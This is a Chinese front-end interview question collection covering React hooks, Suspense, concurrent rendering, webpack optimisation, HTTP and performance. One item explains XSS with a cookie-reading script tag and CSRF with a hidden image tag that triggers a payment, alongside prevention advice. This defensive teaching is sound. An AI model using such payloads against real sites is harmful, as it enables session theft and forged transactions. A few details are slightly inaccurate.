# 第183题 Hooks闭包陷阱问题

import { useEffect, useState } from 'react';

function App() {
  const [count,setCount] = useState(0);

  useEffect(() => {
      setInterval(() => {
          console.log(count);
          setCount(count + 1);
      }, 1000);
  }, []);

  return <div>{count}</div>
}

export default App;

通过定时器不断的累加 countsetCount 时拿到的 count 一直是 0useEffect 的依赖数组是 [],也就是只会执行并保留第一次的 function。而第一次的 function 引用了当时的 count,形成了闭包,这就是闭包陷阱问题

解法1

useEffect(() => {
  setInterval(() => {
      // 每次的 count 都是参数传入的上一次的 state,没有形成闭包
      setCount(count=>count + 1);
  }, 1000);
}, []);

解法2

useEffect(() => {
  console.log(count);

  const timer = setInterval(() => {
      setCount(count + 1);
  }, 1000);

  return () => {
      clearInterval(timer);
  }
}, [count]);

依赖数组加上了 count,这样 count 变化的时候重新执行 effect,那执行的函数引用的就是最新的 count 值。

解法3

const updateCount = () => {
    setCount(count + 1);
  };
  const ref = useRef(updateCount);

  ref.current = updateCount;

  useEffect(() => {
      const timer = setInterval(() => ref.current(), 1000);

      return () => {
          clearInterval(timer);
      }
  }, []);

通过 useRef 创建 ref 对象,保存执行的函数,每次渲染更新 ref.current 的值为最新函数。

这样,定时器执行的函数里就始终引用的是最新的 count

useEffect 只跑一次,保证 setIntervel 不会重置,是每秒执行一次。

执行的函数是从 ref.current 取的,这个函数每次渲染都会更新,引用着最新的 count

# 第182题 Suspense 有哪些使用场景,使用 Suspense 的好处有哪些?

使用场景有:

  • Suspense + lazy
  • Suspense + 异步数据加载
  • Suspense + use
  • Suspense + useTransition
  • Suspense + streaming

好处有:

  • 更优雅的写法。使用 Suspense 可以避免写出下面这种代码:
function App() {
  // 其它逻辑
  if (loading) {
    return <Loading />
  }
  return xxx
}
  • 解决 Race Condition 问题:React Suspense 天然可以解决 Race Condition,这来源于两部分原因:
      1. 当异步请求发生时 UI 会立即渲染 fallback 状态;
      1. 数据请求与组件渲染逻辑分离。
  • 更好的性能:通常我们会将异步请求写在 useEffect 中,这需要等待渲染结束后才会发出请求,而使用 Suspense 可以把这部分前置到渲染时。
  • 更好的用户体验:借助 useTransitionSuspense 可以降低此次的更新优先级以及延迟渲染,这样可以避免卡顿以及带来更好的用户体验。
  • 流式渲染:Suspense 允许推迟某些内容的渲染,直到数据加载完毕。这样使得页面加载更快,无需等到数据准备好即可开始渲染和 hydration,降低 TTFBFCPTTI 等性能指标,从而用户可以更早地看到内容和进行交互

# 第181题 怎么理解 React 并发更新特性

并发更新是 React18 最主要的特性,同时由于并发机制的特性给社区带来了新的活力,当然也产生了一些新的问题,例如 React Tearing。

为什么我们需要并发更新?

我们看的电影和动画是由许多静态图像(帧)快速播放组成的,人眼的反应速度有限,当这些帧足够快地切换时,我们看到的就是流畅的动画。对于人眼来说,大约 16-24 帧/秒就足以形成连续动画的感觉,但更高的帧率会提供更流畅、自然的效果。

而常见的显示器刷新率有 60Hz、120Hz、144Hz 等(Hz 代表每秒更新画面的次数)。60Hz 的显示器意味着每秒钟屏幕刷新 60 次,即每次刷新间隔大约 16.7 毫秒。浏览器会自动适配这个频率,这时对应我们前端页面就是每 16.7ms 需要渲染一次。

但是我们知道,UI 渲染和 JS 执行都是运行在主线程上,也就是说当执行 JS 的时候就没有办法进行 UI 渲染,从而带来页面卡顿的感觉。并且正常 React 组件的渲染过程是连续的、不可被中断的,自然当 React 渲染时间过长时就会占用主线程阻止 UI 渲染从而带来卡顿的现象。

因此我们需要并发更新,也就是把连续的、不可中断的执行过程变成一小块、一小块的切片去执行,那在执行空隙期间自然有机会得到渲染。

同时在渲染的间隙我们也有机会去判断渲染优先级,从而优先执行高优先级的任务。

并发更新是什么?

React 并发更新 = Lane 模型 + 时间切片

  • Lane 模型指的是会给每次渲染分配一个优先级,React 会根据这些不同的优先级来决定哪些更新应该优先处理,哪些可以稍后处理。
  • 时间切片就是将整个连续不可中断的渲染过程变成可以中断的、离散的渲染。这样在间隙中可以判断是否有高优先级的任务,优先处理。以及渲染 UI 界面。

在背后 React 实现了 Scheduler (opens new window) 这个包来辅助完成整个过程。这个过程使用宏任务(React 会根据是否支持依次选择 setImmediate -> MessageChannel -> setTimeout),因为每执行一个宏任务,浏览器都会有机会得到渲染,如果微任务的话就需要等到清空微任务队列的全部任务。当 Scheduler 发现任务执行超过默认 5ms,就会让出主线程给 UI 渲染或者响应用户操作,从而完成了时间切片的能力。

在并发更新的过程中怎么保证在组件间状态的一致性?

React18 增加了并发更新机制,本质上是时间切片,并且高优先级会打断低优先级的任务。在渲染的过程中,由于整个连续不断的渲染过程拆分成了一个个分片的渲染片段,因此在渲染的间隙时就有机会去响应用户的操作:

因此当用户此时触发了更新状态的操作就会导致 Store 的状态被更新,在后续的渲染组件使用到的状态和已经渲染的状态不一致:

这就是 React Tearing 问题,React 为生态提供了 useSyncExternalStore 来解决这个问题,核心原理就是将这次的并发更新变为同步更新(也就是不可中断) 。整个并发更新过程变回同步不可被中断了,自然也就不会有这个问题了。

# 第180题 webpack性能优化-构建速度

先分析遇到哪些问题,在配合下面的方法优化,不要上来就回答,让人觉得背面试题

  • 优化babel-loader缓存
  • IgnorePlugin 忽略某些包,避免引入无用模块(直接不引入,需要在代码中引入)
  • noParse 避免重复打包(引入但不打包)
  • happyPack多线程打包
    • JS单线程的,开启多进程打包
    • 提高构建速度(特别是多核CPU)
  • parallelUglifyPlugin多进程压缩JS
    • 关于多进程
      • 项目较大,打包较慢,开启多进程能提高速度
      • 项目较小,打包很快,开启多进程反而会降低速度(进程开销)
      • 按需使用
  • 自动刷新(开发环境)
  • 热更新(开发环境)
    • 自动刷新:整个网页全部刷新,速度较慢,状态会丢失
    • 热更新:新代码生效,网页不刷新,状态不丢失
  • DllPlugin 动态链接库(dllPlugin只适用于开发环境,因为生产环境下打包一次就完了,没有必要用于生产环境)
    • 前端框架如reactvue体积大,构建慢
    • 较稳定,不常升级版本,同一个版本只构建一次,不用每次都重新构建
    • webpack已内置DllPlugin,不需要安装
    • DllPlugin打包出dll文件
    • DllReferencePlugin引用dll文件

# 优化babel-loader

# IgnorePlugin

  • import moment from 'moment'
  • 默认会引入所有语言JS代码,代码过大
import moment from 'moment'
moment.locale('zh-cn') // 设置语言为中文

// 手动引入中文语言包
import 'moment/locale/zh-cn'
// webpack.prod.js
pluins: [
    // 忽略 moment 下的 /locale 目录
    new webpack.IgnorePlugin(/\.\/locale/, /moment/),
]

# noParse

# happyPack

// webpack.prod.js
const HappyPack = require('happypack')

{
    module: {
        rules: [
            // js
            {
                test: /\.js$/,
                // 把对 .js 文件的处理转交给 id 为 babel 的 HappyPack 实例
                use: ['happypack/loader?id=babel'],
                include: srcPath,
                // exclude: /node_modules/
            },
        ]
    },
    plugins: [
      // happyPack 开启多进程打包
      new HappyPack({
        // 用唯一的标识符 id 来代表当前的 HappyPack 是用来处理一类特定的文件
        id: 'babel',
        // 如何处理 .js 文件,用法和 Loader 配置中一样
        loaders: ['babel-loader?cacheDirectory']
      }),
    ]
}

# parallelUglifyPlugin

// webpack.prod.js
const ParallelUglifyPlugin = require('webpack-parallel-uglify-plugin')

{
    plugins: [
        // 使用 ParallelUglifyPlugin 并行压缩输出的 JS 代码
        new ParallelUglifyPlugin({
            // 传递给 UglifyJS 的参数
            // (还是使用 UglifyJS 压缩,只不过帮助开启了多进程)
            uglifyJS: {
                output: {
                    beautify: false, // 最紧凑的输出
                    comments: false, // 删除所有的注释
                },
                compress: {
                    // 删除所有的 `console` 语句,可以兼容ie浏览器
                    drop_console: true,
                    // 内嵌定义了但是只用到一次的变量
                    collapse_vars: true,
                    // 提取出出现多次但是没有定义成变量去引用的静态值
                    reduce_vars: true,
                }
            }
        })
    ]
}

# 自动刷新

使用dev-server即可

# 热更新

// webpack.dev.js
const HotModuleReplacementPlugin = require('webpack/lib/HotModuleReplacementPlugin');

entry: {
    // index: path.join(srcPath, 'index.js'),
    index: [
        'webpack-dev-server/client?http://localhost:8080/',
        'webpack/hot/dev-server',
        path.join(srcPath, 'index.js')
    ],
    other: path.join(srcPath, 'other.js')
},
devServer: {
    hot: true
},
plugins: [
    new HotModuleReplacementPlugin()
],
// 代码中index.js

// 增加,开启热更新之后的代码逻辑
if (module.hot) {
    // 注册哪些模块需要热更新
    module.hot.accept(['./math'], () => {
        const sumRes = sum(10, 30)
        console.log('sumRes in hot', sumRes)
    })
}

# 优化打包速度完整代码

// webpack.common.js

const path = require('path')
const HtmlWebpackPlugin = require('html-webpack-plugin')
const { srcPath, distPath } = require('./paths')

module.exports = {
    entry: {
        index: path.join(srcPath, 'index.js'),
        other: path.join(srcPath, 'other.js')
    },
    module: {
        rules: [
            // babel-loader
        ]
    },
    plugins: [
        // new HtmlWebpackPlugin({
        //     template: path.join(srcPath, 'index.html'),
        //     filename: 'index.html'
        // })

        // 多入口 - 生成 index.html
        new HtmlWebpackPlugin({
            template: path.join(srcPath, 'index.html'),
            filename: 'index.html',
            // chunks 表示该页面要引用哪些 chunk (即上面的 index 和 other),默认全部引用
            chunks: ['index', 'vendor', 'common']  // 要考虑代码分割
        }),
        // 多入口 - 生成 other.html
        new HtmlWebpackPlugin({
            template: path.join(srcPath, 'other.html'),
            filename: 'other.html',
            chunks: ['other', 'vendor', 'common']  // 考虑代码分割
        })
    ]
}
// webpack.dev.js
const path = require('path')
const webpack = require('webpack')
const webpackCommonConf = require('./webpack.common.js')
const { smart } = require('webpack-merge')
const { srcPath, distPath } = require('./paths')
const HotModuleReplacementPlugin = require('webpack/lib/HotModuleReplacementPlugin');

module.exports = smart(webpackCommonConf, {
    mode: 'development',
    entry: {
        // index: path.join(srcPath, 'index.js'),
        index: [
            'webpack-dev-server/client?http://localhost:8080/',
            'webpack/hot/dev-server',
            path.join(srcPath, 'index.js')
        ],
        other: path.join(srcPath, 'other.js')
    },
    module: {
        rules: [
            {
                test: /\.js$/,
                loader: ['babel-loader?cacheDirectory'],
                include: srcPath,
                // exclude: /node_modules/
            },
            // 直接引入图片 url
            {
                test: /\.(png|jpg|jpeg|gif)$/,
                use: 'file-loader'
            },
            // {
            //     test: /\.css$/,
            //     // loader 的执行顺序是:从后往前
            //     loader: ['style-loader', 'css-loader']
            // },
            {
                test: /\.css$/,
                // loader 的执行顺序是:从后往前
                loader: ['style-loader', 'css-loader', 'postcss-loader'] // 加了 postcss
            },
            {
                test: /\.less$/,
                // 增加 'less-loader' ,注意顺序
                loader: ['style-loader', 'css-loader', 'less-loader']
            }
        ]
    },
    plugins: [
        new webpack.DefinePlugin({
            // window.ENV = 'production'
            ENV: JSON.stringify('development')
        }),
        new HotModuleReplacementPlugin()
    ],
    devServer: {
        port: 8080,
        progress: true,  // 显示打包的进度条
        contentBase: distPath,  // 根目录
        open: true,  // 自动打开浏览器
        compress: true,  // 启动 gzip 压缩

        hot: true,

        // 设置代理
        proxy: {
            // 将本地 /api/xxx 代理到 localhost:3000/api/xxx
            '/api': 'http://localhost:3000',

            // 将本地 /api2/xxx 代理到 localhost:3000/xxx
            '/api2': {
                target: 'http://localhost:3000',
                pathRewrite: {
                    '/api2': ''
                }
            }
        }
    },
    // watch: true, // 开启监听,默认为 false
    // watchOptions: {
    //     ignored: /node_modules/, // 忽略哪些
    //     // 监听到变化发生后会等300ms再去执行动作,防止文件更新太快导致重新编译频率太高
    //     // 默认为 300ms
    //     aggregateTimeout: 300,
    //     // 判断文件是否发生变化是通过不停的去询问系统指定文件有没有变化实现的
    //     // 默认每隔1000毫秒询问一次
    //     poll: 1000
    // }
})
// webpack.prod.js
const path = require('path')
const webpack = require('webpack')
const { smart } = require('webpack-merge')
const { CleanWebpackPlugin } = require('clean-webpack-plugin')
const MiniCssExtractPlugin = require('mini-css-extract-plugin')
const TerserJSPlugin = require('terser-webpack-plugin')
const OptimizeCSSAssetsPlugin = require('optimize-css-assets-webpack-plugin')
const HappyPack = require('happypack')
const ParallelUglifyPlugin = require('webpack-parallel-uglify-plugin')
const webpackCommonConf = require('./webpack.common.js')
const { srcPath, distPath } = require('./paths')

module.exports = smart(webpackCommonConf, {
    mode: 'production',
    output: {
        // filename: 'bundle.[contentHash:8].js',  // 打包代码时,加上 hash 戳
        filename: '[name].[contentHash:8].js', // name 即多入口时 entry 的 key
        path: distPath,
        // publicPath: 'http://cdn.abc.com'  // 修改所有静态文件 url 的前缀(如 cdn 域名),这里暂时用不到
    },
    module: {
        rules: [
            // js
            {
                test: /\.js$/,
                // 把对 .js 文件的处理转交给 id 为 babel 的 HappyPack 实例
                use: ['happypack/loader?id=babel'],
                include: srcPath,
                // exclude: /node_modules/
            },
            // 图片 - 考虑 base64 编码的情况
            {
                test: /\.(png|jpg|jpeg|gif)$/,
                use: {
                    loader: 'url-loader',
                    options: {
                        // 小于 5kb 的图片用 base64 格式产出
                        // 否则,依然延用 file-loader 的形式,产出 url 格式
                        limit: 5 * 1024,

                        // 打包到 img 目录下
                        outputPath: '/img1/',

                        // 设置图片的 cdn 地址(也可以统一在外面的 output 中设置,那将作用于所有静态资源)
                        // publicPath: 'http://cdn.abc.com'
                    }
                }
            },
            // 抽离 css
            {
                test: /\.css$/,
                loader: [
                    MiniCssExtractPlugin.loader,  // 注意,这里不再用 style-loader
                    'css-loader',
                    'postcss-loader'
                ]
            },
            // 抽离 less
            {
                test: /\.less$/,
                loader: [
                    MiniCssExtractPlugin.loader,  // 注意,这里不再用 style-loader
                    'css-loader',
                    'less-loader',
                    'postcss-loader'
                ]
            }
        ]
    },
    plugins: [
        new CleanWebpackPlugin(), // 会默认清空 output.path 文件夹
        new webpack.DefinePlugin({
            // window.ENV = 'production'
            ENV: JSON.stringify('production')
        }),

        // 抽离 css 文件
        new MiniCssExtractPlugin({
            filename: 'css/main.[contentHash:8].css'
        }),

        // 忽略 moment 下的 /locale 目录
        new webpack.IgnorePlugin(/\.\/locale/, /moment/),

        // happyPack 开启多进程打包
        new HappyPack({
            // 用唯一的标识符 id 来代表当前的 HappyPack 是用来处理一类特定的文件
            id: 'babel',
            // 如何处理 .js 文件,用法和 Loader 配置中一样
            loaders: ['babel-loader?cacheDirectory']
        }),

        // 使用 ParallelUglifyPlugin 并行压缩输出的 JS 代码
        new ParallelUglifyPlugin({
            // 传递给 UglifyJS 的参数
            // (还是使用 UglifyJS 压缩,只不过帮助开启了多进程)
            uglifyJS: {
                output: {
                    beautify: false, // 最紧凑的输出
                    comments: false, // 删除所有的注释
                },
                compress: {
                    // 删除所有的 `console` 语句,可以兼容ie浏览器
                    drop_console: true,
                    // 内嵌定义了但是只用到一次的变量
                    collapse_vars: true,
                    // 提取出出现多次但是没有定义成变量去引用的静态值
                    reduce_vars: true,
                }
            }
        })
    ],

    optimization: {
        // 压缩 css
        minimizer: [new TerserJSPlugin({}), new OptimizeCSSAssetsPlugin({})],

        // 分割代码块
        splitChunks: {
            chunks: 'all',
            /**
             * initial 入口chunk,对于异步导入的文件不处理
                async 异步chunk,只对异步导入的文件处理
                all 全部chunk
             */

            // 缓存分组
            cacheGroups: {
                // 第三方模块
                vendor: {
                    name: 'vendor', // chunk 名称
                    priority: 1, // 权限更高,优先抽离,重要!!!
                    test: /node_modules/,
                    minSize: 0,  // 大小限制
                    minChunks: 1  // 最少复用过几次
                },

                // 公共的模块
                common: {
                    name: 'common', // chunk 名称
                    priority: 0, // 优先级
                    minSize: 0,  // 公共模块的大小限制
                    minChunks: 2  // 公共模块最少复用过几次
                }
            }
        }
    }
})

# DllPlugin 动态链接库

// webpack.common.js
const path = require('path')
const HtmlWebpackPlugin = require('html-webpack-plugin')
const { srcPath, distPath } = require('./paths')

module.exports = {
    entry: path.join(srcPath, 'index'),
    module: {
        rules: [
            {
                test: /\.js$/,
                use: ['babel-loader'],
                include: srcPath,
                exclude: /node_modules/
            },
        ]
    },
    plugins: [
        new HtmlWebpackPlugin({
            template: path.join(srcPath, 'index.html'),
            filename: 'index.html'
        })
    ]
}
// webpack.dev.js
const path = require('path')
const webpack = require('webpack')
const { merge } = require('webpack-merge')
const webpackCommonConf = require('./webpack.common.js')
const { srcPath, distPath } = require('./paths')

// 第一,引入 DllReferencePlugin
const DllReferencePlugin = require('webpack/lib/DllReferencePlugin');

module.exports = merge(webpackCommonConf, {
    mode: 'development',
    module: {
        rules: [
            {
                test: /\.js$/,
                use: ['babel-loader'],
                include: srcPath,
                exclude: /node_modules/ // 第二,不要再转换 node_modules 的代码
            },
        ]
    },
    plugins: [
        new webpack.DefinePlugin({
            // window.ENV = 'production'
            ENV: JSON.stringify('development')
        }),
        // 第三,告诉 Webpack 使用了哪些动态链接库
        new DllReferencePlugin({
            // 描述 react 动态链接库的文件内容
            manifest: require(path.join(distPath, 'react.manifest.json')),
        }),
    ],
    devServer: {
        port: 8080,
        progress: true,  // 显示打包的进度条
        contentBase: distPath,  // 根目录
        open: true,  // 自动打开浏览器
        compress: true,  // 启动 gzip 压缩

        // 设置代理
        proxy: {
            // 将本地 /api/xxx 代理到 localhost:3000/api/xxx
            '/api': 'http://localhost:3000',

            // 将本地 /api2/xxx 代理到 localhost:3000/xxx
            '/api2': {
                target: 'http://localhost:3000',
                pathRewrite: {
                    '/api2': ''
                }
            }
        }
    }
})
// webpack.prod.js
const path = require('path')
const webpack = require('webpack')
const webpackCommonConf = require('./webpack.common.js')
const { merge } = require('webpack-merge')
const { srcPath, distPath } = require('./paths')

module.exports = merge(webpackCommonConf, {
    mode: 'production',
    output: {
        filename: 'bundle.[contenthash:8].js',  // 打包代码时,加上 hash 戳
        path: distPath,
        // publicPath: 'http://cdn.abc.com'  // 修改所有静态文件 url 的前缀(如 cdn 域名),这里暂时用不到
    },
    plugins: [
        new webpack.DefinePlugin({
            // window.ENV = 'production'
            ENV: JSON.stringify('production')
        })
    ]
})
// webpack.dll.js

const path = require('path')
const DllPlugin = require('webpack/lib/DllPlugin')
const { srcPath, distPath } = require('./paths')

module.exports = {
  mode: 'development',
  // JS 执行入口文件
  entry: {
    // 把 React 相关模块的放到一个单独的动态链接库
    react: ['react', 'react-dom']
  },
  output: {
    // 输出的动态链接库的文件名称,[name] 代表当前动态链接库的名称,
    // 也就是 entry 中配置的 react 和 polyfill
    filename: '[name].dll.js',
    // 输出的文件都放到 dist 目录下
    path: distPath,
    // 存放动态链接库的全局变量名称,例如对应 react 来说就是 _dll_react
    // 之所以在前面加上 _dll_ 是为了防止全局变量冲突
    library: '_dll_[name]',
  },
  plugins: [
    // 接入 DllPlugin
    new DllPlugin({
      // 动态链接库的全局变量名称,需要和 output.library 中保持一致
      // 该字段的值也就是输出的 manifest.json 文件 中 name 字段的值
      // 例如 react.manifest.json 中就有 "name": "_dll_react"
      name: '_dll_[name]',
      // 描述动态链接库的 manifest.json 文件输出时的文件名称
      path: path.join(distPath, '[name].manifest.json'),
    }),
  ],
}
  "scripts": {
    "dev": "webpack serve --config build/webpack.dev.js",
    "dll": "webpack --config build/webpack.dll.js"
  },

# 第179题 webpack性能优化-产出代码(线上运行)

前言

  • 体积更小
  • 合理分包,不重复加载
  • 速度更快、内存使用更少

产出代码优化

  • 小图片base64编码,减少http请求
    // 图片 - 考虑 base64 编码的情况
    module: {
        rules: [
            {
                test: /\.(png|jpg|jpeg|gif)$/,
                use: {
                    loader: 'url-loader',
                    options: {
                        // 小于 5kb 的图片用 base64 格式产出
                        // 否则,依然延用 file-loader 的形式,产出 url 格式
                        limit: 5 * 1024,
    
                        // 打包到 img 目录下
                        outputPath: '/img1/',
    
                        // 设置图片的 cdn 地址(也可以统一在外面的 output 中设置,那将作用于所有静态资源)
                        // publicPath: 'http://cdn.abc.com'
                    }
                }
            },
        ]
    }
    
  • bundlecontenthash,有利于浏览器缓存
  • 懒加载import()语法,减少首屏加载时间
  • 提取公共代码(第三方代码VueReactloadash等)没有必要多次打包,可以提取到vendor
  • IgnorePlugin忽略不需要的包(如moment多语言),减少打包的代码
  • 使用CDN加速,减少资源加载时间
    output: {
      filename: '[name].[contentHash:8].js', // name 即多入口时 entry 的 key
      path: path.join(__dirname, '..', 'dist'),
      // 修改所有静态文件 url 的前缀(如 cdn 域名)
      // 这样index.html中引入的js、css、图片等资源都会加上这个前缀
      publicPath: 'http://cdn.abc.com'  
    },
    
  • webpack使用production模式,mode: 'production'
    • 自动压缩代码
    • 启动Tree Shaking
      • ES6模块化,importexportwebpack会自动识别,才会生效
      • Commonjs模块化,requiremodule.exportswebpack无法识别,不会生效
      • ES6模块和Commonjs模块区别
        • ES6模块是静态引入,编译时引入
        • Commonjs是动态引入,执行时引入
        • 只有ES6 Module才能静态分析,实现Tree Shaking
  • Scope Hoisting:是webpack3引入的一个新特性,它会分析出模块之间的依赖关系,尽可能地把打散的模块合并到一个函数中去,减少代码间的引用,从而减少代码体积
    • 减少代码体积
    • 创建函数作用域更少
    • 代码可读性更好

# 第178题 获取当前页面URL参数

// 传统方式
function query(name) {
  // search: '?a=10&b=20&c=30'
  const search = location.search.substr(1) // 去掉前面的? 类似 array.slice(1)
  const reg = new RegExp(`(^|&)${name}=([^&]*)(&|$)`, 'i')
  const res = search.match(reg)
  if (res === null) {
    return null
  }
  return res[2]
}
query('a') // 10
// 使用URLSearchParams方式
function query(name) {
  const search = location.search
  const p = new URLSearchParams(search)
  return p.get(name)
}
console.log( query('b') ) // 20

将URL参数解析为JSON对象

// 传统方式,分析search
function queryToObj() {
  const res = {}
  // search: '?a=10&b=20&c=30'
  const search = location.search.substr(1) // 去掉前面的?
  search.split('&').forEach(paramStr=>{
    const arr = paramStr.split('=')
    const key = arr[0]
    const val = arr[1]
    res[key] = val
  })
  return res
}
// 使用URLSearchParams方式
function queryToObj() {
  const res = {}
  const pList = new URLSearchParams(location.search)
  pList.forEach((val,key)=>{
    res[key] = val
  })
  return res
}

# 第177题 手写深度比较lodash.isEqual

// 实现如下效果
const obj1 = {
  a: 100,
  b: {
    x: 100,
    y: 200
  }
}
const obj2 = {
  a: 100,
  b: {
    x: 100,
    y: 200
  }
}

isEqual(obj1, obj2) === true
// 实现

// 判断是否是对象或数组
function isObject(obj) {
  return typeof obj === 'object' && obj !== null
}
// 全相等(深度)
function isEqual(obj1, obj2) {
  if (!isObject(obj1) || !isObject(obj2)) {
    // 值类型(注意,参与 equal 的一般不会是函数)
    return obj1 === obj2
  }
  if (obj1 === obj2) {
    return true
  }
  // 两个都是对象或数组,而且不相等
  // 1. 先取出 obj1 和 obj2 的 keys ,比较个数
  const obj1Keys = Object.keys(obj1)
  const obj2Keys = Object.keys(obj2)
  if (obj1Keys.length !== obj2Keys.length) {
    return false
  }
  // 2. 以 obj1 为基准,和 obj2 一次递归比较
  for (let key in obj1) {
    // 比较当前 key 的 val —— 递归!!!
    const res = isEqual(obj1[key], obj2[key])
    if (!res) {
      return false
    }
  }
  // 3. 全相等
  return true
}
// 测试
const obj1 = {
  a: 100,
  b: {
    x: 100,
    y: 200
  }
}
const obj2 = {
  a: 100,
  b: {
    x: 100,
    y: 200
  }
}

console.log( isEqual(obj1, obj2) ) // true

const arr1 = [1, 2, 3]
const arr2 = [1, 2, 3, 4]
console.log( isEqual(arr1, arr2) ) // false

# 第176题 常见的web前端攻击方式有哪些

  • XSS跨站请求攻击
    • 例子
      • 一个博客网站,我发表了一篇博客,其中嵌入<script>脚本
      • 脚本内容:获取cookie,发送到我的服务器(服务器配合跨域)
      • 发表这篇博客,有人查看它,我轻松拿到访问者的cookie
      <p>一段文字1</p>
      <p>一段文字2</p>
      <p>一段文字3</p>
      <!-- 获取cookie -->
      <script>alert(document.cookie)</script>
      <!-- 转义HTML -->
      &lt;script&gt;alert(document.cookie);&lt;/script&gt;
      
    • 预防
      • 替换特殊字符,如<变为&lt;>变为t&gt;
      • script变为&lt;script&gt;,直接显示,而不会作为脚本执行
      • 前端要替换字符,后端也要替换字符,使用xxs (opens new window)库处理即可
  • CSRF跨站请求伪造
    • 例子
      • 你正在购物,看中了某个商品,商品id100(此时我已经登录了网站cookie记录在本地)
      • 付费接口是xx.com/pay?id=100,但没有任何验证
      • 我是攻击者,我看中的商品id=200
      • 我向你发送一封电子邮件,标题很吸引人
      • 但邮件正文隐藏着<img src="xx.com/pay?id=200" />
      • 你一查看邮件,就帮我买了id=200的商品
      • 什么会这样?
        • 我登录了网站,记录用户信息cookie在本地
        • img标签支持跨域向xx.com/pay?id=200发送请求,会携带本地的cookie
        • 注意CSRF拿不到用户的cookie,只是借用了cookie
    • 预防
      • 使用POST接口
      • 增加验证,如支付密码、短信验证码、指纹等

# 第175题 前端性能优化

前言

  • 是一个综合性问题,没有标准答案,但要求尽量全面
  • 某些细节可能会问:防抖、节流等

性能优化原则

  • 多使用内存、缓存或其他方法
  • 减少CPU计算量,减少网络加载耗时

从何入手

  • 让加载更快
    • 减少资源体积:压缩代码
    • 减少访问次数:合并代码,SSR服务端渲染,缓存
      • SSR
        • 服务端渲染:将网页和数据一起加载,一起渲染
        • SSR模式(前后端分离):先加载网页,在加载数据,在渲染数据
      • 缓存
        • 静态资源加hash后缀,根据文件内容计算hash
        • 文件内容不变,则hash不变,则url不变
        • url和文件不变,则会自动触发http缓存机制,返回304
    • 减少请求时间:DNS预解析,CDNHTTP2
      • DNS预解析
        • DNS解析:将域名解析为IP地址
        • DNS预解析:提前解析域名,将域名解析为IP地址
        • DNS预解析的方式:<link rel="dns-prefetch" href="//www.baidu.com">
      • CDN
        • CDN:内容分发网络,将资源分发到离用户最近的服务器上
        • CDN的优点:加快资源加载速度,减少服务器压力
        • CDN的缺点:增加了网络延迟,增加了服务器成本
      • HTTP2
        • HTTP2HTTP协议的下一代版本
        • HTTP2的优点:多路复用,二进制分帧,头部压缩,服务器推送
  • 让渲染更快
    • CSS放在headJS放在body下面
    • 尽早开始执行JS,用DOMContentLoaded触发
    window.addEventListener('load',function() {
      // 页面的全部资源加载完才会执行,包括图片、视频等
    })
    window.addEventListener('DOMContentLoaded',function() {
      // DOM渲染完才执行,此时图片、视频等可能还没有加载完
    })
    
    • 懒加载(图片懒加载,上滑加载更多)
    • DOM查询进行缓存
    • 频繁DOM操作,合并到一起插入到DOM结构
    • 节流、防抖,让渲染更流畅
      • 防抖
        • 防抖动是将多次执行变为最后一次执行
        • 适用于:inputclick
        const input = document.getElementById('input')
        // 防抖
        function debounce(fn, delay = 500) {
          // timer 是闭包中的
          let timer = null
          // 这里返回的函数是每次用户实际调用的防抖函数
          // 如果已经设定过定时器了就清空上一次的定时器
          // 开始一个新的定时器,延迟执行用户传入的方法
          return function () {
            if (timer) {
              clearTimeout(timer)
            }
            timer = setTimeout(() => {
              fn.apply(this, arguments)
              timer = null
            }, delay)
          }
        }
        input.addEventListener('keyup', debounce(function (e) {
          console.log(e.target)
          console.log(input.value)
        }, 600))
        
      • 节流
        • 节流是将多次执行变成每隔一段时间执行
        • 适用于:resizescrollmousemove
        const div = document.getElementById('div')
        // 节流
        function throttle(fn, delay = 100) {
          let timer = null
        
          return function () {
            if (timer) { // 当前有任务了,直接返回
              return
            }
            timer = setTimeout(() => {
              fn.apply(this, arguments)
              timer = null
            }, delay)
          }
        }
        // 拖拽
        div.addEventListener('drag', throttle(function (e) {
            console.log(e.offsetX, e.offsetY)
        }))
        

# 第174题 HTTP面试题总结

HTTP状态码

  • 1XX:信息状态码
    • 100 Continue 继续,一般在发送post请求时,已发送了http header之后服务端将返回此信息,表示确认,之后发送具体参数信息
  • 2XX:成功状态码
    • 200 OK 正常返回信息
    • 201 Created 请求成功并且服务器创建了新的资源
    • 202 Accepted 服务器已接受请求,但尚未处理
  • 3XX:重定向
    • 301 Moved Permanently 请求的网页已永久移动到新位置。
    • 302 Found 临时性重定向。
    • 303 See Other 临时性重定向,且总是使用 GET 请求新的 URI
    • 304 Not Modified 自从上次请求后,请求的网页未修改过。
  • 4XX:客户端错误
    • 400 Bad Request 服务器无法理解请求的格式,客户端不应当尝试再次使用相同的内容发起请求。
    • 401 Unauthorized 请求未授权。
    • 403 Forbidden 禁止访问。
    • 404 Not Found 找不到如何与 URI 相匹配的资源。
  • 5XX: 服务器错误
    • 500 Internal Server Error 最常见的服务器端错误。
    • 503 Service Unavailable 服务器端暂时无法处理请求(可能是过载或维护)。

常见状态码

  • 200 成功
  • 301 永久重定向(配合location,浏览器自动处理)
  • 302 临时重定向(配合location,浏览器自动处理)
  • 304 资源未被修改
  • 403 没有权限访问,一般做权限角色
  • 404 资源未找到
  • 500 Internal Server Error服务器内部错误
  • 502 Bad Gateway
  • 503 Service Unavailable
  • 504 Gateway Timeout网关超时

502 与 504 的区别

这两种异常状态码都与网关 Gateway 有关,首先明确两个概念

  • Proxy (Gateway),反向代理层或者网关层。在公司级应用中一般使用 Nginx 扮演这个角色
  • Application (Upstream server),应用层服务,作为 Proxy 层的上游服务。在公司中一般为各种语言编写的服务器应用,如 Go/Java/Python/PHP/Node
  • 此时关于 502 与 504 的区别就很显而易见
    • 502 Bad Gateway:一般表现为你自己写的「应用层服务(Java/Go/PHP)挂了」,或者网关指定的上游服务直接指错了地址,网关层无法接收到响应
    • 504 Gateway Timeout:一般表现为「应用层服务 (Upstream) 超时,超过了 Gatway 配置的 Timeout」,如查库操作耗时三分钟,超过了 Nginx 配置的超时时间

http headers

  • 常见的Request Headers
    • Accept 浏览器可接收的数据格式
    • Accept-Enconding 浏览器可接收的压缩算法,如gzip
    • Accept-Language 浏览器可接收的语言,如zh-CN
    • Connection:keep-alive 一次TCP连接重复复用
    • Cookie
    • Host 请求的域名是什么
    • User-Agent(简称UA) 浏览器信息
    • Content-type 发送数据的格式,如application/json
  • 常见的Response Headers
    • Content-type 返回数据的格式,如application/json
    • Content-length 返回数据的大小,多少字节
    • Content-Encoding 返回数据的压缩算法,如gzip
    • set-cookie
  • 缓存相关的Headers
    • Cache ControlExpired
    • Last-ModifiedIf-Modified-Since
    • EtagIf-None-Match

HTTP缓存

  • 关于缓存介绍
